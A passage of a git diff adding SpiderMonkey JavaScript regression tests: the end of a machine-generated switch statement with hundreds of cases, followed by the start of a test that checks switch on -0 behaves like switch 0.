+ notevil = (notevil + 1353)/2;
+ break;
+case "z1354":
+ notevil = (notevil + 1354)/2;
+ break;
+case "z1355":
+ notevil = (notevil + 1355)/2;
+ break;
+case "z1356":
+ notevil = (notevil + 1356)/2;
+ break;
+case "z1357":
+ notevil = (notevil + 1357)/2;
+ break;
+case "z1358":
+ notevil = (notevil + 1358)/2;
+ break;
+case "z1359":
+ notevil = (notevil + 1359)/2;
+ break;
+case "z1360":
+ notevil = (notevil + 1360)/2;
+ break;
+case "z1361":
+ notevil = (notevil + 1361)/2;
+ break;
+case "z1362":
+ notevil = (notevil + 1362)/2;
+ break;
+case "z1363":
+ notevil = (notevil + 1363)/2;
+ break;
+case "z1364":
+ notevil = (notevil + 1364)/2;
+ break;
+case "z1365":
+ notevil = (notevil + 1365)/2;
+ break;
+case "z1366":
+ notevil = (notevil + 1366)/2;
+ break;
+case "z1367":
+ notevil = (notevil + 1367)/2;
+ break;
+case "z1368":
+ notevil = (notevil + 1368)/2;
+ break;
+case "z1369":
+ notevil = (notevil + 1369)/2;
+ break;
+case "z1370":
+ notevil = (notevil + 1370)/2;
+ break;
+case "z1371":
+ notevil = (notevil + 1371)/2;
+ break;
+case "z1372":
+ notevil = (notevil + 1372)/2;
+ break;
+case "z1373":
+ notevil = (notevil + 1373)/2;
+ break;
+case "z1374":
+ notevil = (notevil + 1374)/2;
+ break;
+case "z1375":
+ notevil = (notevil + 1375)/2;
+ break;
+case "z1376":
+ notevil = (notevil + 1376)/2;
+ break;
+case "z1377":
+ notevil = (notevil + 1377)/2;
+ break;
+case "z1378":
+ notevil = (notevil + 1378)/2;
+ break;
+case "z1379":
+ notevil = (notevil + 1379)/2;
+ break;
+case "z1380":
+ notevil = (notevil + 1380)/2;
+ break;
+case "z1381":
+ notevil = (notevil + 1381)/2;
+ break;
+case "z1382":
+ notevil = (notevil + 1382)/2;
+ break;
+case "z1383":
+ notevil = (notevil + 1383)/2;
+ break;
+case "z1384":
+ notevil = (notevil + 1384)/2;
+ break;
+case "z1385":
+ notevil = (notevil + 1385)/2;
+ break;
+case "z1386":
+ notevil = (notevil + 1386)/2;
+ break;
+case "z1387":
+ notevil = (notevil + 1387)/2;
+ break;
+case "z1388":
+ notevil = (notevil + 1388)/2;
+ break;
+case "z1389":
+ notevil = (notevil + 1389)/2;
+ break;
+case "z1390":
+ notevil = (notevil + 1390)/2;
+ break;
+case "z1391":
+ notevil = (notevil + 1391)/2;
+ break;
+case "z1392":
+ notevil = (notevil + 1392)/2;
+ break;
+case "z1393":
+ notevil = (notevil + 1393)/2;
+ break;
+case "z1394":
+ notevil = (notevil + 1394)/2;
+ break;
+case "z1395":
+ notevil = (notevil + 1395)/2;
+ break;
+case "z1396":
+ notevil = (notevil + 1396)/2;
+ break;
+case "z1397":
+ notevil = (notevil + 1397)/2;
+ break;
+case "z1398":
+ notevil = (notevil + 1398)/2;
+ break;
+case "z1399":
+ notevil = (notevil + 1399)/2;
+ break;
+case "z1400":
+ notevil = (notevil + 1400)/2;
+ break;
+case "z1401":
+ notevil = (notevil + 1401)/2;
+ break;
+case "z1402":
+ notevil = (notevil + 1402)/2;
+ break;
+case "z1403":
+ notevil = (notevil + 1403)/2;
+ break;
+case "z1404":
+ notevil = (notevil + 1404)/2;
+ break;
+case "z1405":
+ notevil = (notevil + 1405)/2;
+ break;
+case "z1406":
+ notevil = (notevil + 1406)/2;
+ break;
+case "z1407":
+ notevil = (notevil + 1407)/2;
+ break;
+case "z1408":
+ notevil = (notevil + 1408)/2;
+ break;
+case "z1409":
+ notevil = (notevil + 1409)/2;
+ break;
+case "z1410":
+ notevil = (notevil + 1410)/2;
+ break;
+case "z1411":
+ notevil = (notevil + 1411)/2;
+ break;
+case "z1412":
+ notevil = (notevil + 1412)/2;
+ break;
+case "z1413":
+ notevil = (notevil + 1413)/2;
+ break;
+case "z1414":
+ notevil = (notevil + 1414)/2;
+ break;
+case "z1415":
+ notevil = (notevil + 1415)/2;
+ break;
+case "z1416":
+ notevil = (notevil + 1416)/2;
+ break;
+case "z1417":
+ notevil = (notevil + 1417)/2;
+ break;
+case "z1418":
+ notevil = (notevil + 1418)/2;
+ break;
+case "z1419":
+ notevil = (notevil + 1419)/2;
+ break;
+case "z1420":
+ notevil = (notevil + 1420)/2;
+ break;
+case "z1421":
+ notevil = (notevil + 1421)/2;
+ break;
+case "z1422":
+ notevil = (notevil + 1422)/2;
+ break;
+case "z1423":
+ notevil = (notevil + 1423)/2;
+ break;
+case "z1424":
+ notevil = (notevil + 1424)/2;
+ break;
+case "z1425":
+ notevil = (notevil + 1425)/2;
+ break;
+case "z1426":
+ notevil = (notevil + 1426)/2;
+ break;
+case "z1427":
+ notevil = (notevil + 1427)/2;
+ break;
+case "z1428":
+ notevil = (notevil + 1428)/2;
+ break;
+case "z1429":
+ notevil = (notevil + 1429)/2;
+ break;
+case "z1430":
+ notevil = (notevil + 1430)/2;
+ break;
+case "z1431":
+ notevil = (notevil + 1431)/2;
+ break;
+case "z1432":
+ notevil = (notevil + 1432)/2;
+ break;
+case "z1433":
+ notevil = (notevil + 1433)/2;
+ break;
+case "z1434":
+ notevil = (notevil + 1434)/2;
+ break;
+case "z1435":
+ notevil = (notevil + 1435)/2;
+ break;
+case "z1436":
+ notevil = (notevil + 1436)/2;
+ break;
+case "z1437":
+ notevil = (notevil + 1437)/2;
+ break;
+case "z1438":
+ notevil = (notevil + 1438)/2;
+ break;
+case "z1439":
+ notevil = (notevil + 1439)/2;
+ break;
+case "z1440":
+ notevil = (notevil + 1440)/2;
+ break;
+case "z1441":
+ notevil = (notevil + 1441)/2;
+ break;
+case "z1442":
+ notevil = (notevil + 1442)/2;
+ break;
+case "z1443":
+ notevil = (notevil + 1443)/2;
+ break;
+case "z1444":
+ notevil = (notevil + 1444)/2;
+ break;
+case "z1445":
+ notevil = (notevil + 1445)/2;
+ break;
+case "z1446":
+ notevil = (notevil + 1446)/2;
+ break;
+case "z1447":
+ notevil = (notevil + 1447)/2;
+ break;
+case "z1448":
+ notevil = (notevil + 1448)/2;
+ break;
+case "z1449":
+ notevil = (notevil + 1449)/2;
+ break;
+case "z1450":
+ notevil = (notevil + 1450)/2;
+ break;
+case "z1451":
+ notevil = (notevil + 1451)/2;
+ break;
+case "z1452":
+ notevil = (notevil + 1452)/2;
+ break;
+case "z1453":
+ notevil = (notevil + 1453)/2;
+ break;
+case "z1454":
+ notevil = (notevil + 1454)/2;
+ break;
+case "z1455":
+ notevil = (notevil + 1455)/2;
+ break;
+case "z1456":
+ notevil = (notevil + 1456)/2;
+ break;
+case "z1457":
+ notevil = (notevil + 1457)/2;
+ break;
+case "z1458":
+ notevil = (notevil + 1458)/2;
+ break;
+case "z1459":
+ notevil = (notevil + 1459)/2;
+ break;
+case "z1460":
+ notevil = (notevil + 1460)/2;
+ break;
+case "z1461":
+ notevil = (notevil + 1461)/2;
+ break;
+case "z1462":
+ notevil = (notevil + 1462)/2;
+ break;
+case "z1463":
+ notevil = (notevil + 1463)/2;
+ break;
+case "z1464":
+ notevil = (notevil + 1464)/2;
+ break;
+case "z1465":
+ notevil = (notevil + 1465)/2;
+ break;
+case "z1466":
+ notevil = (notevil + 1466)/2;
+ break;
+case "z1467":
+ notevil = (notevil + 1467)/2;
+ break;
+case "z1468":
+ notevil = (notevil + 1468)/2;
+ break;
+case "z1469":
+ notevil = (notevil + 1469)/2;
+ break;
+case "z1470":
+ notevil = (notevil + 1470)/2;
+ break;
+case "z1471":
+ notevil = (notevil + 1471)/2;
+ break;
+case "z1472":
+ notevil = (notevil + 1472)/2;
+ break;
+case "z1473":
+ notevil = (notevil + 1473)/2;
+ break;
+case "z1474":
+ notevil = (notevil + 1474)/2;
+ break;
+case "z1475":
+ notevil = (notevil + 1475)/2;
+ break;
+case "z1476":
+ notevil = (notevil + 1476)/2;
+ break;
+case "z1477":
+ notevil = (notevil + 1477)/2;
+ break;
+case "z1478":
+ notevil = (notevil + 1478)/2;
+ break;
+case "z1479":
+ notevil = (notevil + 1479)/2;
+ break;
+case "z1480":
+ notevil = (notevil + 1480)/2;
+ break;
+case "z1481":
+ notevil = (notevil + 1481)/2;
+ break;
+case "z1482":
+ notevil = (notevil + 1482)/2;
+ break;
+case "z1483":
+ notevil = (notevil + 1483)/2;
+ break;
+case "z1484":
+ notevil = (notevil + 1484)/2;
+ break;
+case "z1485":
+ notevil = (notevil + 1485)/2;
+ break;
+case "z1486":
+ notevil = (notevil + 1486)/2;
+ break;
+case "z1487":
+ notevil = (notevil + 1487)/2;
+ break;
+case "z1488":
+ notevil = (notevil + 1488)/2;
+ break;
+case "z1489":
+ notevil = (notevil + 1489)/2;
+ break;
+case "z1490":
+ notevil = (notevil + 1490)/2;
+ break;
+case "z1491":
+ notevil = (notevil + 1491)/2;
+ break;
+case "z1492":
+ notevil = (notevil + 1492)/2;
+ break;
+case "z1493":
+ notevil = (notevil + 1493)/2;
+ break;
+case "z1494":
+ notevil = (notevil + 1494)/2;
+ break;
+case "z1495":
+ notevil = (notevil + 1495)/2;
+ break;
+case "z1496":
+ notevil = (notevil + 1496)/2;
+ break;
+case "z1497":
+ notevil = (notevil + 1497)/2;
+ break;
+case "z1498":
+ notevil = (notevil + 1498)/2;
+ break;
+case "z1499":
+ notevil = (notevil + 1499)/2;
+ break;
+case "z1500":
+ notevil = (notevil + 1500)/2;
+ break;
+case "z1501":
+ notevil = (notevil + 1501)/2;
+ break;
+case "z1502":
+ notevil = (notevil + 1502)/2;
+ break;
+case "z1503":
+ notevil = (notevil + 1503)/2;
+ break;
+case "z1504":
+ notevil = (notevil + 1504)/2;
+ break;
+case "z1505":
+ notevil = (notevil + 1505)/2;
+ break;
+case "z1506":
+ notevil = (notevil + 1506)/2;
+ break;
+case "z1507":
+ notevil = (notevil + 1507)/2;
+ break;
+case "z1508":
+ notevil = (notevil + 1508)/2;
+ break;
+case "z1509":
+ notevil = (notevil + 1509)/2;
+ break;
+case "z1510":
+ notevil = (notevil + 1510)/2;
+ break;
+case "z1511":
+ notevil = (notevil + 1511)/2;
+ break;
+case "z1512":
+ notevil = (notevil + 1512)/2;
+ break;
+case "z1513":
+ notevil = (notevil + 1513)/2;
+ break;
+case "z1514":
+ notevil = (notevil + 1514)/2;
+ break;
+case "z1515":
+ notevil = (notevil + 1515)/2;
+ break;
+case "z1516":
+ notevil = (notevil + 1516)/2;
+ break;
+case "z1517":
+ notevil = (notevil + 1517)/2;
+ break;
+case "z1518":
+ notevil = (notevil + 1518)/2;
+ break;
+case "z1519":
+ notevil = (notevil + 1519)/2;
+ break;
+case "z1520":
+ notevil = (notevil + 1520)/2;
+ break;
+case "z1521":
+ notevil = (notevil + 1521)/2;
+ break;
+case "z1522":
+ notevil = (notevil + 1522)/2;
+ break;
+case "z1523":
+ notevil = (notevil + 1523)/2;
+ break;
+case "z1524":
+ notevil = (notevil + 1524)/2;
+ break;
+case "z1525":
+ notevil = (notevil + 1525)/2;
+ break;
+case "z1526":
+ notevil = (notevil + 1526)/2;
+ break;
+case "z1527":
+ notevil = (notevil + 1527)/2;
+ break;
+case "z1528":
+ notevil = (notevil + 1528)/2;
+ break;
+case "z1529":
+ notevil = (notevil + 1529)/2;
+ break;
+case "z1530":
+ notevil = (notevil + 1530)/2;
+ break;
+case "z1531":
+ notevil = (notevil + 1531)/2;
+ break;
+case "z1532":
+ notevil = (notevil + 1532)/2;
+ break;
+case "z1533":
+ notevil = (notevil + 1533)/2;
+ break;
+case "z1534":
+ notevil = (notevil + 1534)/2;
+ break;
+case "z1535":
+ notevil = (notevil + 1535)/2;
+ break;
+case "z1536":
+ notevil = (notevil + 1536)/2;
+ break;
+case "z1537":
+ notevil = (notevil + 1537)/2;
+ break;
+case "z1538":
+ notevil = (notevil + 1538)/2;
+ break;
+case "z1539":
+ notevil = (notevil + 1539)/2;
+ break;
+case "z1540":
+ notevil = (notevil + 1540)/2;
+ break;
+case "z1541":
+ notevil = (notevil + 1541)/2;
+ break;
+case "z1542":
+ notevil = (notevil + 1542)/2;
+ break;
+case "z1543":
+ notevil = (notevil + 1543)/2;
+ break;
+case "z1544":
+ notevil = (notevil + 1544)/2;
+ break;
+case "z1545":
+ notevil = (notevil + 1545)/2;
+ break;
+case "z1546":
+ notevil = (notevil + 1546)/2;
+ break;
+case "z1547":
+ notevil = (notevil + 1547)/2;
+ break;
+case "z1548":
+ notevil = (notevil + 1548)/2;
+ break;
+case "z1549":
+ notevil = (notevil + 1549)/2;
+ break;
+case "z1550":
+ notevil = (notevil + 1550)/2;
+ break;
+case "z1551":
+ notevil = (notevil + 1551)/2;
+ break;
+case "z1552":
+ notevil = (notevil + 1552)/2;
+ break;
+case "z1553":
+ notevil = (notevil + 1553)/2;
+ break;
+case "z1554":
+ notevil = (notevil + 1554)/2;
+ break;
+case "z1555":
+ notevil = (notevil + 1555)/2;
+ break;
+case "z1556":
+ notevil = (notevil + 1556)/2;
+ break;
+case "z1557":
+ notevil = (notevil + 1557)/2;
+ break;
+case "z1558":
+ notevil = (notevil + 1558)/2;
+ break;
+case "z1559":
+ notevil = (notevil + 1559)/2;
+ break;
+case "z1560":
+ notevil = (notevil + 1560)/2;
+ break;
+case "z1561":
+ notevil = (notevil + 1561)/2;
+ break;
+case "z1562":
+ notevil = (notevil + 1562)/2;
+ break;
+case "z1563":
+ notevil = (notevil + 1563)/2;
+ break;
+case "z1564":
+ notevil = (notevil + 1564)/2;
+ break;
+case "z1565":
+ notevil = (notevil + 1565)/2;
+ break;
+case "z1566":
+ notevil = (notevil + 1566)/2;
+ break;
+case "z1567":
+ notevil = (notevil + 1567)/2;
+ break;
+case "z1568":
+ notevil = (notevil + 1568)/2;
+ break;
+case "z1569":
+ notevil = (notevil + 1569)/2;
+ break;
+case "z1570":
+ notevil = (notevil + 1570)/2;
+ break;
+case "z1571":
+ notevil = (notevil + 1571)/2;
+ break;
+case "z1572":
+ notevil = (notevil + 1572)/2;
+ break;
+case "z1573":
+ notevil = (notevil + 1573)/2;
+ break;
+case "z1574":
+ notevil = (notevil + 1574)/2;
+ break;
+case "z1575":
+ notevil = (notevil + 1575)/2;
+ break;
+case "z1576":
+ notevil = (notevil + 1576)/2;
+ break;
+case "z1577":
+ notevil = (notevil + 1577)/2;
+ break;
+case "z1578":
+ notevil = (notevil + 1578)/2;
+ break;
+case "z1579":
+ notevil = (notevil + 1579)/2;
+ break;
+case "z1580":
+ notevil = (notevil + 1580)/2;
+ break;
+case "z1581":
+ notevil = (notevil + 1581)/2;
+ break;
+case "z1582":
+ notevil = (notevil + 1582)/2;
+ break;
+case "z1583":
+ notevil = (notevil + 1583)/2;
+ break;
+case "z1584":
+ notevil = (notevil + 1584)/2;
+ break;
+case "z1585":
+ notevil = (notevil + 1585)/2;
+ break;
+case "z1586":
+ notevil = (notevil + 1586)/2;
+ break;
+case "z1587":
+ notevil = (notevil + 1587)/2;
+ break;
+case "z1588":
+ notevil = (notevil + 1588)/2;
+ break;
+case "z1589":
+ notevil = (notevil + 1589)/2;
+ break;
+case "z1590":
+ notevil = (notevil + 1590)/2;
+ break;
+case "z1591":
+ notevil = (notevil + 1591)/2;
+ break;
+case "z1592":
+ notevil = (notevil + 1592)/2;
+ break;
+case "z1593":
+ notevil = (notevil + 1593)/2;
+ break;
+case "z1594":
+ notevil = (notevil + 1594)/2;
+ break;
+case "z1595":
+ notevil = (notevil + 1595)/2;
+ break;
+case "z1596":
+ notevil = (notevil + 1596)/2;
+ break;
+case "z1597":
+ notevil = (notevil + 1597)/2;
+ break;
+case "z1598":
+ notevil = (notevil + 1598)/2;
+ break;
+case "z1599":
+ notevil = (notevil + 1599)/2;
+ break;
+case "z1600":
+ notevil = (notevil + 1600)/2;
+ break;
+case "z1601":
+ notevil = (notevil + 1601)/2;
+ break;
+case "z1602":
+ notevil = (notevil + 1602)/2;
+ break;
+case "z1603":
+ notevil = (notevil + 1603)/2;
+ break;
+case "z1604":
+ notevil = (notevil + 1604)/2;
+ break;
+case "z1605":
+ notevil = (notevil + 1605)/2;
+ break;
+case "z1606":
+ notevil = (notevil + 1606)/2;
+ break;
+case "z1607":
+ notevil = (notevil + 1607)/2;
+ break;
+case "z1608":
+ notevil = (notevil + 1608)/2;
+ break;
+case "z1609":
+ notevil = (notevil + 1609)/2;
+ break;
+case "z1610":
+ notevil = (notevil + 1610)/2;
+ break;
+case "z1611":
+ notevil = (notevil + 1611)/2;
+ break;
+case "z1612":
+ notevil = (notevil + 1612)/2;
+ break;
+case "z1613":
+ notevil = (notevil + 1613)/2;
+ break;
+case "z1614":
+ notevil = (notevil + 1614)/2;
+ break;
+case "z1615":
+ notevil = (notevil + 1615)/2;
+ break;
+case "z1616":
+ notevil = (notevil + 1616)/2;
+ break;
+case "z1617":
+ notevil = (notevil + 1617)/2;
+ break;
+case "z1618":
+ notevil = (notevil + 1618)/2;
+ break;
+case "z1619":
+ notevil = (notevil + 1619)/2;
+ break;
+case "z1620":
+ notevil = (notevil + 1620)/2;
+ break;
+case "z1621":
+ notevil = (notevil + 1621)/2;
+ break;
+case "z1622":
+ notevil = (notevil + 1622)/2;
+ break;
+case "z1623":
+ notevil = (notevil + 1623)/2;
+ break;
+case "z1624":
+ notevil = (notevil + 1624)/2;
+ break;
+case "z1625":
+ notevil = (notevil + 1625)/2;
+ break;
+case "z1626":
+ notevil = (notevil + 1626)/2;
+ break;
+case "z1627":
+ notevil = (notevil + 1627)/2;
+ break;
+case "z1628":
+ notevil = (notevil + 1628)/2;
+ break;
+case "z1629":
+ notevil = (notevil + 1629)/2;
+ break;
+case "z1630":
+ notevil = (notevil + 1630)/2;
+ break;
+case "z1631":
+ notevil = (notevil + 1631)/2;
+ break;
+case "z1632":
+ notevil = (notevil + 1632)/2;
+ break;
+case "z1633":
+ notevil = (notevil + 1633)/2;
+ break;
+case "z1634":
+ notevil = (notevil + 1634)/2;
+ break;
+case "z1635":
+ notevil = (notevil + 1635)/2;
+ break;
+case "z1636":
+ notevil = (notevil + 1636)/2;
+ break;
+case "z1637":
+ notevil = (notevil + 1637)/2;
+ break;
+case "z1638":
+ notevil = (notevil + 1638)/2;
+ break;
+case "z1639":
+ notevil = (notevil + 1639)/2;
+ break;
+case "z1640":
+ notevil = (notevil + 1640)/2;
+ break;
+case "z1641":
+ notevil = (notevil + 1641)/2;
+ break;
+case "z1642":
+ notevil = (notevil + 1642)/2;
+ break;
+case "z1643":
+ notevil = (notevil + 1643)/2;
+ break;
+case "z1644":
+ notevil = (notevil + 1644)/2;
+ break;
+case "z1645":
+ notevil = (notevil + 1645)/2;
+ break;
+case "z1646":
+ notevil = (notevil + 1646)/2;
+ break;
+case "z1647":
+ notevil = (notevil + 1647)/2;
+ break;
+case "z1648":
+ notevil = (notevil + 1648)/2;
+ break;
+case "z1649":
+ notevil = (notevil + 1649)/2;
+ break;
+case "z1650":
+ notevil = (notevil + 1650)/2;
+ break;
+case "z1651":
+ notevil = (notevil + 1651)/2;
+ break;
+case "z1652":
+ notevil = (notevil + 1652)/2;
+ break;
+case "z1653":
+ notevil = (notevil + 1653)/2;
+ break;
+case "z1654":
+ notevil = (notevil + 1654)/2;
+ break;
+case "z1655":
+ notevil = (notevil + 1655)/2;
+ break;
+case "z1656":
+ notevil = (notevil + 1656)/2;
+ break;
+case "z1657":
+ notevil = (notevil + 1657)/2;
+ break;
+case "z1658":
+ notevil = (notevil + 1658)/2;
+ break;
+case "z1659":
+ notevil = (notevil + 1659)/2;
+ break;
+case "z1660":
+ notevil = (notevil + 1660)/2;
+ break;
+case "z1661":
+ notevil = (notevil + 1661)/2;
+ break;
+case "z1662":
+ notevil = (notevil + 1662)/2;
+ break;
+case "z1663":
+ notevil = (notevil + 1663)/2;
+ break;
+case "z1664":
+ notevil = (notevil + 1664)/2;
+ break;
+case "z1665":
+ notevil = (notevil + 1665)/2;
+ break;
+case "z1666":
+ notevil = (notevil + 1666)/2;
+ break;
+case "z1667":
+ notevil = (notevil + 1667)/2;
+ break;
+case "z1668":
+ notevil = (notevil + 1668)/2;
+ break;
+case "z1669":
+ notevil = (notevil + 1669)/2;
+ break;
+case "z1670":
+ notevil = (notevil + 1670)/2;
+ break;
+case "z1671":
+ notevil = (notevil + 1671)/2;
+ break;
+case "z1672":
+ notevil = (notevil + 1672)/2;
+ break;
+case "z1673":
+ notevil = (notevil + 1673)/2;
+ break;
+case "z1674":
+ notevil = (notevil + 1674)/2;
+ break;
+case "z1675":
+ notevil = (notevil + 1675)/2;
+ break;
+case "z1676":
+ notevil = (notevil + 1676)/2;
+ break;
+case "z1677":
+ notevil = (notevil + 1677)/2;
+ break;
+case "z1678":
+ notevil = (notevil + 1678)/2;
+ break;
+case "z1679":
+ notevil = (notevil + 1679)/2;
+ break;
+case "z1680":
+ notevil = (notevil + 1680)/2;
+ break;
+case "z1681":
+ notevil = (notevil + 1681)/2;
+ break;
+case "z1682":
+ notevil = (notevil + 1682)/2;
+ break;
+case "z1683":
+ notevil = (notevil + 1683)/2;
+ break;
+case "z1684":
+ notevil = (notevil + 1684)/2;
+ break;
+case "z1685":
+ notevil = (notevil + 1685)/2;
+ break;
+case "z1686":
+ notevil = (notevil + 1686)/2;
+ break;
+case "z1687":
+ notevil = (notevil + 1687)/2;
+ break;
+case "z1688":
+ notevil = (notevil + 1688)/2;
+ break;
+case "z1689":
+ notevil = (notevil + 1689)/2;
+ break;
+case "z1690":
+ notevil = (notevil + 1690)/2;
+ break;
+case "z1691":
+ notevil = (notevil + 1691)/2;
+ break;
+case "z1692":
+ notevil = (notevil + 1692)/2;
+ break;
+case "z1693":
+ notevil = (notevil + 1693)/2;
+ break;
+case "z1694":
+ notevil = (notevil + 1694)/2;
+ break;
+case "z1695":
+ notevil = (notevil + 1695)/2;
+ break;
+case "z1696":
+ notevil = (notevil + 1696)/2;
+ break;
+case "z1697":
+ notevil = (notevil + 1697)/2;
+ break;
+case "z1698":
+ notevil = (notevil + 1698)/2;
+ break;
+case "z1699":
+ notevil = (notevil + 1699)/2;
+ break;
+case "z1700":
+ notevil = (notevil + 1700)/2;
+ break;
+case "z1701":
+ notevil = (notevil + 1701)/2;
+ break;
+case "z1702":
+ notevil = (notevil + 1702)/2;
+ break;
+case "z1703":
+ notevil = (notevil + 1703)/2;
+ break;
+case "z1704":
+ notevil = (notevil + 1704)/2;
+ break;
+case "z1705":
+ notevil = (notevil + 1705)/2;
+ break;
+case "z1706":
+ notevil = (notevil + 1706)/2;
+ break;
+case "z1707":
+ notevil = (notevil + 1707)/2;
+ break;
+case "z1708":
+ notevil = (notevil + 1708)/2;
+ break;
+case "z1709":
+ notevil = (notevil + 1709)/2;
+ break;
+case "z1710":
+ notevil = (notevil + 1710)/2;
+ break;
+case "z1711":
+ notevil = (notevil + 1711)/2;
+ break;
+case "z1712":
+ notevil = (notevil + 1712)/2;
+ break;
+case "z1713":
+ notevil = (notevil + 1713)/2;
+ break;
+case "z1714":
+ notevil = (notevil + 1714)/2;
+ break;
+case "z1715":
+ notevil = (notevil + 1715)/2;
+ break;
+case "z1716":
+ notevil = (notevil + 1716)/2;
+ break;
+case "z1717":
+ notevil = (notevil + 1717)/2;
+ break;
+case "z1718":
+ notevil = (notevil + 1718)/2;
+ break;
+case "z1719":
+ notevil = (notevil + 1719)/2;
+ break;
+case "z1720":
+ notevil = (notevil + 1720)/2;
+ break;
+case "z1721":
+ notevil = (notevil + 1721)/2;
+ break;
+case "z1722":
+ notevil = (notevil + 1722)/2;
+ break;
+case "z1723":
+ notevil = (notevil + 1723)/2;
+ break;
+case "z1724":
+ notevil = (notevil + 1724)/2;
+ break;
+case "z1725":
+ notevil = (notevil + 1725)/2;
+ break;
+case "z1726":
+ notevil = (notevil + 1726)/2;
+ break;
+case "z1727":
+ notevil = (notevil + 1727)/2;
+ break;
+case "z1728":
+ notevil = (notevil + 1728)/2;
+ break;
+case "z1729":
+ notevil = (notevil + 1729)/2;
+ break;
+case "z1730":
+ notevil = (notevil + 1730)/2;
+ break;
+case "z1731":
+ notevil = (notevil + 1731)/2;
+ break;
+case "z1732":
+ notevil = (notevil + 1732)/2;
+ break;
+case "z1733":
+ notevil = (notevil + 1733)/2;
+ break;
+case "z1734":
+ notevil = (notevil + 1734)/2;
+ break;
+case "z1735":
+ notevil = (notevil + 1735)/2;
+ break;
+case "z1736":
+ notevil = (notevil + 1736)/2;
+ break;
+case "z1737":
+ notevil = (notevil + 1737)/2;
+ break;
+case "z1738":
+ notevil = (notevil + 1738)/2;
+ break;
+case "z1739":
+ notevil = (notevil + 1739)/2;
+ break;
+case "z1740":
+ notevil = (notevil + 1740)/2;
+ break;
+case "z1741":
+ notevil = (notevil + 1741)/2;
+ break;
+case "z1742":
+ notevil = (notevil + 1742)/2;
+ break;
+case "z1743":
+ notevil = (notevil + 1743)/2;
+ break;
+case "z1744":
+ notevil = (notevil + 1744)/2;
+ break;
+case "z1745":
+ notevil = (notevil + 1745)/2;
+ break;
+case "z1746":
+ notevil = (notevil + 1746)/2;
+ break;
+case "z1747":
+ notevil = (notevil + 1747)/2;
+ break;
+case "z1748":
+ notevil = (notevil + 1748)/2;
+ break;
+case "z1749":
+ notevil = (notevil + 1749)/2;
+ break;
+case "z1750":
+ notevil = (notevil + 1750)/2;
+ break;
+case "z1751":
+ notevil = (notevil + 1751)/2;
+ break;
+case "z1752":
+ notevil = (notevil + 1752)/2;
+ break;
+case "z1753":
+ notevil = (notevil + 1753)/2;
+ break;
+case "z1754":
+ notevil = (notevil + 1754)/2;
+ break;
+case "z1755":
+ notevil = (notevil + 1755)/2;
+ break;
+case "z1756":
+ notevil = (notevil + 1756)/2;
+ break;
+case "z1757":
+ notevil = (notevil + 1757)/2;
+ break;
+case "z1758":
+ notevil = (notevil + 1758)/2;
+ break;
+case "z1759":
+ notevil = (notevil + 1759)/2;
+ break;
+case "z1760":
+ notevil = (notevil + 1760)/2;
+ break;
+case "z1761":
+ notevil = (notevil + 1761)/2;
+ break;
+case "z1762":
+ notevil = (notevil + 1762)/2;
+ break;
+case "z1763":
+ notevil = (notevil + 1763)/2;
+ break;
+case "z1764":
+ notevil = (notevil + 1764)/2;
+ break;
+case "z1765":
+ notevil = (notevil + 1765)/2;
+ break;
+case "z1766":
+ notevil = (notevil + 1766)/2;
+ break;
+case "z1767":
+ notevil = (notevil + 1767)/2;
+ break;
+case "z1768":
+ notevil = (notevil + 1768)/2;
+ break;
+case "z1769":
+ notevil = (notevil + 1769)/2;
+ break;
+case "z1770":
+ notevil = (notevil + 1770)/2;
+ break;
+case "z1771":
+ notevil = (notevil + 1771)/2;
+ break;
+case "z1772":
+ notevil = (notevil + 1772)/2;
+ break;
+case "z1773":
+ notevil = (notevil + 1773)/2;
+ break;
+case "z1774":
+ notevil = (notevil + 1774)/2;
+ break;
+case "z1775":
+ notevil = (notevil + 1775)/2;
+ break;
+case "z1776":
+ notevil = (notevil + 1776)/2;
+ break;
+case "z1777":
+ notevil = (notevil + 1777)/2;
+ break;
+case "z1778":
+ notevil = (notevil + 1778)/2;
+ break;
+case "z1779":
+ notevil = (notevil + 1779)/2;
+ break;
+case "z1780":
+ notevil = (notevil + 1780)/2;
+ break;
+case "z1781":
+ notevil = (notevil + 1781)/2;
+ break;
+case "z1782":
+ notevil = (notevil + 1782)/2;
+ break;
+case "z1783":
+ notevil = (notevil + 1783)/2;
+ break;
+case "z1784":
+ notevil = (notevil + 1784)/2;
+ break;
+case "z1785":
+ notevil = (notevil + 1785)/2;
+ break;
+case "z1786":
+ notevil = (notevil + 1786)/2;
+ break;
+case "z1787":
+ notevil = (notevil + 1787)/2;
+ break;
+case "z1788":
+ notevil = (notevil + 1788)/2;
+ break;
+case "z1789":
+ notevil = (notevil + 1789)/2;
+ break;
+case "z1790":
+ notevil = (notevil + 1790)/2;
+ break;
+case "z1791":
+ notevil = (notevil + 1791)/2;
+ break;
+case "z1792":
+ notevil = (notevil + 1792)/2;
+ break;
+case "z1793":
+ notevil = (notevil + 1793)/2;
+ break;
+case "z1794":
+ notevil = (notevil + 1794)/2;
+ break;
+case "z1795":
+ notevil = (notevil + 1795)/2;
+ break;
+case "z1796":
+ notevil = (notevil + 1796)/2;
+ break;
+case "z1797":
+ notevil = (notevil + 1797)/2;
+ break;
+case "z1798":
+ notevil = (notevil + 1798)/2;
+ break;
+case "z1799":
+ notevil = (notevil + 1799)/2;
+ break;
+
+default:
+ dut = 3;
+ break;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/statements/regress-444979.js b/js/src/tests/non262/statements/regress-444979.js
new file mode 100644
index 0000000000..0c377551cd
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-444979.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 444979;
+var summary = 'switch -0 is same as switch 0';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'y==0';
+ actual = '';
+
+ var shortSwitch = 'var y=-0;switch (y){case 0: actual="y==0"; break; default: actual="y!=0";}';
+ eval(shortSwitch);
+
+ reportCompare(expect, actual, summary + ': shortSwitch');
+
+ actual = '';
+
+ var longSwitch = 'var y=-0;var t=0;switch(y){case -1:';
+ for (var i = 0; i < 64000; i++) {
+ longSwitch += ' t++;';
+ }
+ longSwitch += ' break; case 0: actual = "y==0"; break; default: actual = "y!=0";}';
+ eval(longSwitch);
+
